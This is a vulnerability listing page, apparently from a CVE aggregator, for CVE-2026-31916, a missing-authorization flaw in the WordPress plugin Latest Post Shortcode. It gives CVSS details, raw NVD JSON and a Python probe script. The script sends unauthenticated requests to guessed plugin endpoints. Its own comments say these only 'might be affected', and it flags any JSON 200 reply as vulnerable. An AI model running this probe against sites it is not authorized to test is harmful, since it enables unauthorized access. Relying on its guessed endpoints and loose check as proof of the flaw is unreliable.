Security Vulnerability Report
中文
CVE-2026-31916 CVSS 5.3 MEDIUM

CVE-2026-31916

Published: 2026-03-13 19:54:39
Last Modified: 2026-04-29 10:16:57

Description

Missing Authorization vulnerability in Iulia Cazan Latest Post Shortcode latest-post-shortcode allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Latest Post Shortcode: from n/a through <= 14.2.1.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Latest Post Shortcode <= 14.2.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-31916 PoC - Missing Authorization in Latest Post Shortcode Plugin # Target: WordPress site with Latest Post Shortcode plugin <= 14.2.1 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-31916 Missing Authorization vulnerability """ # Common plugin endpoints that might be affected endpoints = [ '/wp-json/latest-post-shortcode/v1/posts', '/wp-json/latest-post-shortcode/v1/config', '/wp-admin/admin-ajax.php?action=latest_post_shortcode', '/?rest_route=/latest-post-shortcode/v1/posts' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-31916 - Missing Authorization Check") print("=" * 60) for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) print(f"\n[Testing] {url}") print(f"Status Code: {response.status_code}") # Check if we get unauthorized access to sensitive data if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'json' in content_type: print(f"[!] VULNERABLE - Unauthenticated access to {endpoint}") print(f"Response preview: {response.text[:200]}...") return True elif response.status_code == 401 or response.status_code == 403: print(f"[+] Protected - Proper authorization required") except requests.exceptions.RequestException as e: print(f"[Error] {endpoint}: {e}") print("\n[*] Scan complete") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2026-31916-poc.py <target_url>") print("Example: python cve-2026-31916-poc.py http://example.com")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31916", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:38.613", "lastModified": "2026-04-29T10:16:56.767", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Iulia Cazan Latest Post Shortcode latest-post-shortcode allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Latest Post Shortcode: from n/a through <= 14.2.1."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Iulia Cazan Latest Post Shortcode latest-post-shortcode permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Latest Post Shortcode: desde n/a hasta &lt;= 14.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/latest-post-shortcode/vulnerability/wordpress-latest-post-shortcode-plugin-14-2-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}